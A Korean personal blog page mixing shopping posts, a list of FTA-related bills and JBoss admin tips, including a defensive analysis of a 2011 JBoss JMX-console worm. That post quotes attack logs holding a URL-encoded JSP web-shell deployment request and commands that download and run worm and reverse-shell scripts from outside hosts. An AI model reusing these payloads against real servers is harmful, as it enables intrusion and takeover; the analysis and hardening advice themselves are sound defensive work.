블로그 이미지
올해목표 // 10월 어학연수 떠나자~ 자수씨

카테고리

전체글 (1457)
Brand New! (28)
주절주절 (213)
MOT (11)
해외쇼핑 (49)
쇼핑노트 (150)
취미생활 (94)
iPhone (4)
Eclipse (121)
Google (83)
Spring (31)
JAVA (176)
JavaScript (59)
WEB (49)
Database (20)
OS (26)
Tools (8)
Tips (26)
IT정보 (1)
Book (21)
Programming (37)
외부행사 (43)
주변인들 (17)
여행노트 (60)
학교생활 (30)
회사생활 (52)
사회생활 (5)
외국어공부 (12)
잡동사니 (30)
Total
Today
Yesterday
 
01-02 01:48
 

달력

« » 2025.1
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
 

최근에 올라온 글

최근에 달린 댓글

 

외근에 지친 피로를 풀기위해 쇼핑 쇼핑 쇼핑!!!
(가카헌정달력과 같은 날에 배송되었네요 ㅋㅋㅋ)



개봉박두...



밀리터리 스타일의 아쿠아슈즈 같으면서도 슬리퍼 같으면서도...





밑창은 엠보싱 구조에 물이 빠져나가도록 구멍이 뚫려있습니다.




루나 스위프트처럼 구멍이 뽕뽕 뚫려있네요 ㅋㅋㅋ


회사에서 겨울용 슬리퍼로 신고다녀야겠습니다. 여름에는 아쿠아 슈즈로...




끝~


Posted by 자수씨
, |


외근지에서 전해온 낭보~ 택배가 도착했다는 이야기에 본사로 바로 달려들어왔습니다.

이거슨 바로 운지의 선물 가카헌정달력 3종세트 입니다.


가카헌정달력에는 가카마불도 함께 들어있었습니다.



2012년 12월 19일 바로 그날이 옵니다...



컬러 프린터 없는 사람은 흑백으로 찍어야 한다는 말씀이십니까!!!
가카마블에서 사용하는 돈을 직접 뽑아야 한다네요 -_ㅜ...



딴지일보가 64만삽이나 하네요... 비싸라...



책상위에 자리잡은 가카헌정달력~



운지야 고마워~ ㅋㅋㅋ

Posted by 자수씨
, |

Windows 7 을 사용하고 있는데 다른 서비스 쪽 문제가 있어서 이벤트로그를 보려고 하니 아래와 같은 화면이...



이벤트 로그 서비스를 사용할 수 없습니다...


서비스에서 "Windows Event Log" 를 시작시켰더니 아래와 같은 오류 메시지가 나왔습니다.




해결방법

1. 안전모드로 부팅
2. 관리자 모드로 cmd.exe 나 탐색기 실행
3. "C:\Windows\System32\LogFiles\WMI" 로 이동
4. "RtBackup" 디렉토리 이름을 변경합니다.
5. 재부팅


원격에서 작업 중이라 막 재부팅을 해볼 수 없네요... 나중에 본사들어가면 해봐야겠습니다.

참고자료

http://answers.microsoft.com/en-us/windows/forum/windows_7-performance/cannot-start-windows-event-log-service-on-windows/e2c218ad-8637-49ee-8023-50eae0e4ddcb



Posted by 자수씨
, |


실용신안법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 등록지연에 따른 실용신안권의 존속기간을 연장하는 제도와 비밀유지명령제도 등을 도입하고, 공지예외 적용시기를 연장하는 한편, 제도 실효성이 없는 실용신안권 취소제도를 폐지하려는 것임.

의안 바로가기


디자인보호법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 디자인권 등의 침해에 관한 소송에서 비밀유지명령제도를 도입하려는 것임.

의안 바로가기


부정경쟁방지 및 영업비밀보호에 관한 법률 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 부정경쟁행위 또는 영업비밀 침해행위에 관한 소송에서 비밀유지 명령제도를 도입하고, 일부 표현상의 불명료한 부분을 정비함으로써 제도운영의 효율성을 도모하려는 것임.

의안 바로가기


특허법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 등록지연에 따른 특허권의 존속기간을 연장하는 제도와 비밀유지명령제도 등을 도입하고, 공지예외 적용시기를 연장하는 한편, 제도 실효성이 없는 특허권 취소제도를 폐지하려는 것임.

의안 바로가기


자유무역협정의 이행을 위한 관세법의 특례에 관한 법률 일부개정법률안

일정한 물량을 초과하여 수입되는 특정 농림축산물에 대하여 양허한 세율을 초과하여 관세를 부과하는 조치를 할 수 있도록 하고 체약상대국으로부터 수입되는 물품에 대하여 신속ㆍ간이한 통관절차를 도입하는 등의 내용으로 2007년 6월 30일 「대한민국과 미합중국 간의 자유무역협정」이 체결됨에 따라, 관련된 조항을 정비하여 협정이 원활하게 이행될 수 있도록 하는 한편, 사후적인 협정관세 적용신청의 절차를 간소화하는 등 현행 제도의 운영상 나타난 일부 미비점을 개선ㆍ보완하려는 것임.

의안 바로가기


행정절차법 일부개정법률안

 정부의 입법추진과정에서 국민의 의견을 충분히 듣고 이를 법령에 반영함으로써 정부입법절차가 보다 민주적이고 투명하게 이루어질 수 있도록 하고, 「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 법령의 입법예고기간을 현행 ‘20일 이상’에서 ‘40일 이상’으로 확대하려는 것임.

의안 바로가기


우편법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」을 체결하기 위한 협상에서 우편물의 중량과 요금을 기준으로 국가의 우편 독점 범위를 완화하도록 합의됨에 따라 국가가 독점하는 우편 사업의 범위를 축소하고, 국가가 독점하는 우편사업 외의 서신송달업을 하려는 자는 지식경제부장관에게 신고하도록 하며, 서신송달업자에 대하여 지원ㆍ관리할 수 있는 법적 근거를 마련하고, 그 밖에 손실보상청구권 등의 소멸시효기간을 3개월에서 1년으로 연장하는 등 현행 제도의 운영상 나타난 일부 미비점을 개선ㆍ보완하는 한편, 법 문장을 원칙적으로 한글로 적고, 어려운 용어를 쉬운 용어로 바꾸며, 길고 복잡한 문장은 체계 등을 정비하여 간결하게 하는 등 국민이 법 문장을 이해하기 쉽게 정비하려는 것임.

의안 바로가기


상표법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항을 반영하기 위하여 소리ㆍ냄새를 상표에 포함하고, 상품에 대한 정확한 품질정보를 제공할 수 있도록 증명표장제도를 도입하며, 전용상표사용권 등록제도를 폐지하여 등록하지 아니한 전용사용권도 그 효력이 발생하도록 하고, 이 법에서 준용하던 「특허법」의 관련 조문들을 직접 이 법에 규정하여 국민들이 쉽게 이해할 수 있도록 하는 등 현행 제도의 운영상 나타난 일부 미비점을 개선ㆍ보완하는 한편, 여러 가지 내용이 한 문장 속에 뒤섞여 있어 내용을 파악하기 어렵거나 너무 길고 복잡한 문장을 간소화하거나 문장을 나누는 등 체계를 정비하여 명확하게 하려는 것임.

의안 바로가기


우체국예금ㆍ보험에 관한 법률 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」을 체결하기 위한 협상에서 새로운 우체국 보험의 종류를 신설할 수 없도록 하되, 보험종류의 수정은 허용하고, 보험의 종류를 수정할 때와 보험의 결산이 끝났을 때에는 금융위원회와의 협의를 의무화하도록 합의됨에 따라 자유무역협정의 효력이 발생한 이후에는 새로운 보험의 종류를 신설할 수 없도록 하는 한편, 보험의 종류를 수정할 때에는 「보험업법」에 따른 보험약관과 보험료 산출방법서 등을, 회계연도마다 보험의 결산이 끝났을 때에는 재무제표 등 결산서류를 각각 금융위원회에 제출하고 협의하도록 하기 위한 법적 근거를 마련하는 등 금융위원회의 감독권을 확대하여 공정한 경쟁의 여건을 강화하고, 그 밖에 현행 제도의 운영상 나타난 일부 미비점을 개선ㆍ보완하려는 것임.

의안 바로가기


개별소비세법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」이 발효되는 경우 해당 협정의 이행을 위하여 승용자동차에 대한 개별소비세율을 조정할 필요가 있으므로, 「대한민국과 미합중국 간의 자유무역협정」의 발효일부터 배기량이 2천시시를 초과하는 승용자동차의 개별소비세율을 매년 인하하여 배기량이 2천시시 이하인 승용자동차의 개별소비세율과 일치시키도록 하려는 것임.

의안 바로가기


지방세법 일부개정법률안

 한미 FTA는 양국간 FTA 이행을 위한 국내절차를 완료했다는 확인서한 교환일로부터 60일 경과한 날(또는 별도합의한 날) 발효하게 되어 있으며, 우리나라의 경우는 일괄입법을 추진하는 미국과 달리 비준동의안 외에도 이행법안 입법이 완료되어야 FTA 이행을 위한 국내절차를 완료하게 됨.
 그러나 현재 한미 FTA 협정 이행법안(24개) 중 지방세법 개정안만 아직까지 미발의되어 국회에 제출되지 못한 상태로, 본 지방세법 미개정시에는 한미 FTA 비준동의안이 국회 본회의를 통과하더라도 발효될 수 없음.
 따라서 한미 FTA의 조속한 시행을 위해, 지난 09.4.22 외통위에서 심의․의결한 한미 FTA 비준동의안의 이행법안인 지방세법의 신속한 개정이 필요함.

의안 바로가기


독점규제 및 공정거래에 관한 법률 일부개정법률안

 동의의결제란 이 법의 위반 여부가 중대하지 않거나 명백하지 않은 공정거래사건에 한하여 사업자가 스스로 소비자 피해구제, 원상회복 등 타당한 시정방안을 제안하면 검찰총장과의 사전협의, 이해관계인 및 관계기관 등의 의견수렴절차 등을 거쳐 위법 여부를 확정하지 않고 사건을 신속하게 종결하는 제도임.
  동의의결제는 신속하고 실효성 있게 경쟁질서를 회복하고 소비자 피해를 실질적으로 구제할 수 있어서 미국, EU, 독일, 일본 등 주요 선진국을 포함한 외국 경쟁당국에서도 대부분 도입하고 있음.
  동의의결제를 도입하게 되면, 소비자 입장에서는 가격인하, 소비자 피해 배상 등 다양한 시정방안을 통해 기존의 일방적 시정조치로 불가능한 소비자 피해의 신속하고 실질적인 구제가 가능해지고, 기업 입장에서는 신속한 사건 해결을 통해 시간과 비용의 절감이 가능하고 위법판단을 받지 않으므로 기업이미지 실추도 방지할 수 있을 뿐만 아니라, 시정방안에 시장상황을 잘 알고 있는 기업, 이해관계인, 관계부처 등의 의견이 충분히 반영되므로, 시장질서를 회복하기 위한 실효성 있는 조치가 가능해지게 됨.
  이에 따라 오늘날 빠르게 변화하고 있는 시장상황에 신속히 대응하고, 소비자나 다른 사업자의 피해 구제 및 경쟁질서 회복이 가능하도록 동의의결제를 도입하고, 그 내용 및 절차, 동의의결의 제외사유 및 취소사유, 이행확보수단 등을 규정하려는 것임(안 제51조의2부터 제51조의5까지 신설).

의안 바로가기


약사법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」의 합의사항에 따라 의약품의 품목허가와 특허를 연계하는 제도를 도입하기 위하여 의약품 특허목록 등재 및 공고와 의약품 품목허가 신청 사실의 통지에 필요한 사항을 정하려는 것임.

의안 바로가기


저작권법 일부개정법률안

「대한민국과 미합중국 간의 자유무역협정」(이하 “한․미 FTA”라 함)의 국내 이행을 위해 「저작권법」의 일부 개정이 요구됨.
  한․미 FTA의 국내 이행을 위하여 「저작권법 일부개정법률안」(정부 제출, 2008. 10. 10.)이 제출되었으나, 그 이후 저작권법이 네 차례(2009. 3. 25. 법률 제9529호, 2009. 4. 22. 법률 제9625호, 2009. 7. 31. 법률 제9785호, 2011. 6. 30. 법률 제10807호) 개정되어 제출 당시의 저작권법 내용에 많은 변화가 있었으므로 현행 저작권법 체계에 맞추어 조문과 체계 정비가 필요함.
  특히, 「대한민국과 유럽연합 및 그 회원국 간의 자유무역협정」(이하 “한․EU FTA”라 함) 이행을 위하여 개정된 저작권법(2011. 6. 30. 법률 제10807호)에서 한․미 FTA와 한․EU FTA의 온전한 이행을 위해서 저작권 보호기간의 연장 등 양 협정의 공통사항이 이미 반영되었음.
  이에 한․미 FTA의 합의사항에 따라 일시적 저장의 복제 인정, 저작인접권 보호기간의 연장 및 법정손해배상제도의 도입 등 이행에 필요한 관련 규정을 현행 저작권법 체계에 맞게 개정함으로써 저작권자의 권리 보호와 저작물의 공정한 이용을 도모하는 한편, 그 밖에 현행 제도의 운영상 나타난 일부 미비점을 개선ㆍ보완하려는 것임.

의안 바로가기




이런 것까지 관심을 갖게 해주시는 국회의원님들 감사합니다~



References

http://likms.assembly.go.kr/bill/jsp/FinishBill.jsp

Posted by 자수씨
, |

부식창고~

주절주절 / 2011. 11. 17. 22:36


11월 15일 OPEN~




11월 17일





점점 쌓여가고 있어~ ㅋㅋㅋ

Posted by 자수씨
, |

관리 콘솔 패스워드를 암호화 없이 두기에는 좀 불안한 감이 있어서 패스워드 암호화가 필요합니다.
(물론... 아래에서 소개하는 MD5 가 강력한 것은 아니지만 일반 텍스트보다는 낫겠죠...)

환경설정

우선 security-constraint 가 적용된 모듈의 web.xml 을 확인합니다.
[module.war]/WEB-INF/web.xml
<web-app>
   ...
   <login-config>
      <auth-method>DIGEST</auth-method>
      <realm-name>JBoss WEB Console</realm-name>
   </login-config>
    ...
</web-app>

"login-config > auth-method" 를 기존 "BASIC" 에서 "DIGEST" 로 변경합니다.
"login-config > realm-name" 은 나중에 패스워드 만들 때 필요하니 미리 체크해두시기 바랍니다.

[module.war]/WEB-INF/jboss-web.xml
<jboss-web>
    ...
    <security-domain>java:/jaas/digest</security-domain>
    ...
</jboss-web>

security-domain 을 "java:/jaas/digest" 로 변경합니다. 추후 application-policy 로 저장될 이름입니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/login-config.xml
<application-policy name="digest">
    <authentication>
        <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
                      flag="required">
            <module-option name="usersProperties">props/digest-users.properties</module-option>
            <module-option name="rolesProperties">props/digest-roles.properties</module-option>
            <module-option name="hashAlgorithm">MD5</module-option>
            <module-option name="hashEncoding">rfc2617</module-option>
            <module-option name="hashUserPassword">false</module-option>
            <module-option name="hashStorePassword">true</module-option>
            <module-option name="passwordIsA1Hash">true</module-option>
            <module-option name="storeDigestCallback">org.jboss.security.auth.spi.RFC2617Digest</module-option>
        </login-module>
    </authentication>
</application-policy>

위와 같이 새로운 application-policy 를 추가합니다.

사용자와 롤을 설정할 수 있는 파일 두개도 미리 생성해 놓습니다.
 - $JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-users.properties
 - $JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-roles.properties


패스워드 생성 및 설정

JBoss 에서는 패스워드를 생성할 수 있도록 클래스를 제공해줍니다. 아래와 같은 방식으로 패스워드를 생성할 수 있습니다.

# java -cp $JBOSS_HOME/common/lib/jbosssx-server.jar org.jboss.security.auth.spi.RFC2617Digest username realm_name password

예를 들어 username 이 "admin" 이고 패스워드가 "vicki.tistory.com" 이라면 아래와 같은 명령을 통해 패스워드를 생성합니다.
(realm_name 은 위에서 "JBoss WEB Console" 로 정의되었기 때문에 위와 같이 사용합니다.)

# java -cp $JBOSS_HOME/common/lib/jbosssx-server.jar org.jboss.security.auth.spi.RFC2617Digest admin "JBoss WEB Console" vicki.tistory.com
RFC2617 A1 hash: c1b5f8a0d90b1b955661bc5819c7261e

생성된 패스워드를 properties 파일에 설정합니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-users.properties
admin=c1b5f8a0d90b1b955661bc5819c7261e


$JBOSS_HOME/server/<CONFIGURATION>/conf/props/digest-roles.properties
admin=JBossAdmin,HttpInvoker


위와 같이 두개의 설정 파일에 사용자와 롤을 추가한 후 해당 모듈을 재시작하면... 정상적으로 암호화된 패스워드가 적용된 것을 확인하실 수 있습니다.


참고 자료

- http://docs.jboss.org/jbossas/guides/webguide/r2/en/html/ch05.html

Posted by 자수씨
, |





0


DevOn 에서 개발자 컨퍼런스를 개최한다고 합니다. 국내 대표 기술자 커뮤니티가 참가하여 기술 공유 세션 및 전시, 참여로 이루어진다고 합니다.


행사 홈페이지

http://devon.daum.net/2011/

행사 안내

- 일시: 2011년 11월 25일 (금) 10:00 ~18:00
- 장소: 쉐라톤 서울 호텔 디큐브시티 6F 그랜드 볼룸
- 주관: (주) 다음커뮤니케이션
- 대상: 국내 웹 기술 관련 종사자, 커뮤니티 회원 및 전공 학생

참여 안내

- 본 행사는 선착순 400명에 한하여 1만원의 참가비를 받습니다.
- 여러분이 내어 주신 참가비는 전액 아름다운 재단에 기부합니다.
- 사전등록은 11월 14일(월)부터 홈페이지를 통해서만 진행되며, 현장등록은 받지 않습니다. (17일부터~)
- 행사 당일 9시 30분부터 행사장에 도착하셔서 등록 확인을 해 주시기 바랍니다.
- 행사에 참석하시는 모든 분께 호텔 점식 식사와 소정의 기념품을 드립니다.
- 각 커뮤니티 전시 부스에서도 참여 프로그램을 통해 선물을 나누어 드립니다.
- 콘퍼런스 종료 후 추첨을 통해 풍성한 기념품과 경품을 준비 중 입니다.

참여 커뮤니티 목록

- 우분투 한국커뮤니티, KDE 한국, 그놈 한국 프로젝트, 한국 Mozilla 커뮤니티, OpenStack 한국커뮤니티, 한국 스프링 사용자 모임, OKJSP, 클리어보스, CDK(CSS Design Korea), 한국 웹 접근성 그룹, 한국워드프레스사용자모임, XE, TNF/Needlworks 이상 13개 (무순)





아직 사전등록은 되지 않습니다.

17일부터 시작이라고 합니다.



등록비 만원은 아름다운 재단에 기부된다는~


혹시라도 참여를 못하는 분들을 위해 다음 tv 팟을 통해 생중계 해준다고 합니다.





관심있는 분들은 많이많이 참여하세요~~

Posted by 자수씨
, |

JBoss 가 제공해주는 여러 관리 콘솔 (admin-console, jmx-console, web-console) 들은 기능이 막강하지만 접근권한을 재대로 관리하지 않으면 많은 위험성을 노출하게 됩니다.

각 관리 콘솔에 대한 접근권한 부여 방법에 대해 설명합니다.
 

admin-console

 



JBoss 에서 제공해주는 admin-console 입니다. 이름에서 알 수 있듯이 관리자 콘솔입니다. 모니터링 및 배포와 같은 기능을 제공합니다.

접근 권한 설정

admin-console 은 기본적으로 접근 권한의 제한이 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/admin-console.war/WEB-INF/jboss-web.xml
<jboss-web>
     ...
    <security-domain>java:/jaas/jmx-console</security-domain>
     ...
</jboss-web>


security-domain 이 "java:jaas/jmx-console" 로 설정이 되어 jmx-console 과 같은 권한으로 제어합니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/login-config.xml
 

  <!-- A template configuration for the jmx-console web application. This
    defaults to the UsersRolesLoginModule the same as other and should be
    changed to a stronger authentication mechanism as required.
  -->
  <application-policy name="jmx-console">
    <authentication>
      <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
        flag="required">
        <module-option name="usersProperties">props/jmx-console-users.properties</module-option>
        <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
      </login-module>
    </authentication>
  </application-policy>


위와 같이 jmx-console 에 대한 기본설정은 props/jmx-console-users.properties 와 props/jmx-console-roles.properties 에 권한과 사용자 정보를 설정할 수 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/props/jmx-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]


위의 설정이 완료되면 admin-console 재시작 후에 패스워드 변경된 것을 확인할 수 있습니다.

jmx-console

 



JMX 를 제어할 수 있는 페이지입니다. jboss 의 경우 JMX 에서 deploy, undeploy, start, stop, destroy 가 가능하므로 jboss 전문가가 악의를 가지고 있다면 시스템 전체에 영향을 끼칠 수 있는 콘솔입니다.

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

주석처리가 되어 있는 security-constraint 부분을 활성화 시킵니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
      need to edit the htmladaptor login configuration to setup the
      login modules used to authentication users.
   -->
      <security-domain>java:/jaas/jmx-console</security-domain>
</jboss-web>

admin-console 과 같이 security-domain 이 "java:/jaas/jmx-console" 이므로 admin-console 에서 설정한 사용자 정보를 통해 접근 권한 제한이 가능합니다.

admin-console 과 마찬가지로 설정 후 jmx-console 을 재시작 하면 접근 제한 설정이 가능합니다.

 

web-console

 



즐겨 사용하는 것이 아니라 정확한 기능은 파악하지 못하였으나 서버 정보가 외부로 노출되는 것을 막기 위해 접근 제한이 필요합니다.

web-console 의 경우 모든 configuration 에 있는 것이 아니라 "default" 와 "all" 에만 있으니 본인의 configuration 에 맞게 설정하시기 바랍니다. 

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
      <web-resource-collection>
         <web-resource-name>HtmlAdaptor</web-resource-name>
         <description>An example security config that only allows users with the
            role JBossAdmin to access the HTML JMX console web application
         </description>
         <url-pattern>/*</url-pattern>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
      </web-resource-collection>
      <auth-constraint>
         <role-name>JBossAdmin</role-name>
      </auth-constraint>
   </security-constraint>


security-constraint 주석을 제거합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
   need to edit the htmladaptor login configuration to setup the
   login modules used to authentication users.
   -->
   <security-domain>java:/jaas/web-console</security-domain>
    ...
</jboss-web>


security-domain 주석도 삭제합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes/web-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]

jmx-console 의 패스워드를 설정하듯이 설정합니다.

재시작 후 재대로 적용이 되었는지를 확인합니다.



지금까지 설명한 접근제한은 가장 기본적인 접근제한 방법 (BASIC) 입니다. 패스워드가 암호화되지 않았기 때문에 서버가 뚫리면 패스워드도 노출되게 됩니다. BASIC 말고도 DIGEST, FORM, and CLIENT-CERT 방식으로 설정이 가능하니 필요에 따라 연구하여 설정하시면 될 것 같습니다.
 

참고자료

http://docs.jboss.org/jbossas/docs/Installation_And_Getting_Started_Guide/5/html/The_JBoss_Server___A_Quick_Tour.html


 

Posted by 자수씨
, |

지난 10월 20일, 오래된 버전의 JBoss 에서 웜이 돌 수 있다라는 GUERRILA7 의 리포팅이 있었습니다. 디폴트로 설정된 JMX console (/jmx-console) 의 접근 취약성을 이용하여, 원격지의 공격자가 아무런 인증 절차 없이 HTTP 통신을 통하여 서버의 명령어를 실행시킬 수 있었습니다.

위험성이 노출된 버전은 아래와 같습니다.
  • JBoss Application Server (AS) 4.0.x, 5.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0


웜에 감염된 JBoss 들은 구글 검색을 통해 쉽게 확인할 수 있습니다.





공격은 다음과 같은 형식으로 이루어집니다.

아래 아파치 로그를 통해 설명해드리겠습니다.

사례 1 - zecmd


1. HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0
2. GET /zecmd/zecmd.jsp HTTP/1.0
3. GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
4. GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0
5. GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0


1. JMX console 의 취약점을 이용하여 백도어 jsp 를 배포시킵니다.
2. 백도어 jsp (zecmd.jsp) 의 정상 동작여부를 확인합니다.
3. 특정 경로에서 공격을 위한 tar.gz 파일 (kisses.tar.gz) 을 다운로드 받습니다.
4. tar.gz 파일의 압축을 해제합니다.
5. perl script (linda.pl) 을 실행시킵니다.
  >> linda.pl 에 의해 여러가지 경로로 worm 이 증식을 하게됩니다.




사례 2 - idssvc


GET /idssvc/idssvc.jsp HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0


zecmd 와 마찬가지로 *.tar.gz 의 다운로드를 시도합니다. 그 후 perl script 를 시작시킴으로써 worm 의 증식을 발동시킵니다.



사례 3 - iesvc


GET /iesvc/iesvc.jsp?comment=wget+https%3A%2F%2F203.177.33.156%2Fadmin%2Freverse.txt+--no-check-certificate HTTP/1.1
GET /iesvc/iesvc.jsp?comment=perl+reverse.txt+199.71.215.203+4442 HTTP/1.1
GET /iesvc/iesvc.jsp?comment=find+%2F+-name+done.php HTTP/1.1

시간이 지날수록 변종들이 생겨나고 있습니다. 특정 경로에서 perl script 인 reverse.txt 를 내려받아 실행을 시킵니다.
reverse.txt 는 백도어를 대놓고 심어놓습니다.





피해 복구 방법

1. 동작중인 perl 프로세스 종료
현재까지 알려진 worm 은 perl 을 통해 구동이 됩니다. 해당 서버에서 별도의 perl 을 구동하지 않는다면 모든 perl 프로세스를 종료시키시기 바랍니다.


2. 감영된 crontab 제거

# crontab -l

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

 

# crontab -r


위와 같이 관련 worm 들이 /root/.sys* 로 crontab 에 등록이 되어 있습니다. "crontab -r" 명령어로 제거합니다.

3. JMX console 보안 강화
아래 포스팅을 참고하여 보안 설정을 하시기 바랍니다.
2011/11/16 - [WEB/JBossAS] - [JBoss] 관리 콘솔 접근권한 부여



백도어를 통해 외부에서 서버가 제어가능하기 때문에 앞으로 어떻게 확장될지는 공격자 마음입니다. 치명적인 공격을 당하기 전에 점검해보시기 바랍니다.


참고자료

http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/


Posted by 자수씨
, |

로그를 로테이팅 안하다보니... 로그가 10 GB 에 육박하는 경우도 발생하는군요;;;

해당 파일은 vi 로도 확인이 어렵습니다.

아래와 같은 명령어로 파일을 분리할 수 있습니다.


# split -b 100m [대상파일] [분할파일_접두어]


만약 access_log 를 100m 단위로 나눈다면 "split -b 100m access_log access_log_split" 이라는 명령어로 분리할 수 있습니다.

분할된 파일은 접두어 뒤에 'a.. b.. c..' 와 같이 순차적으로 파일명이 생성되게 됩니다.

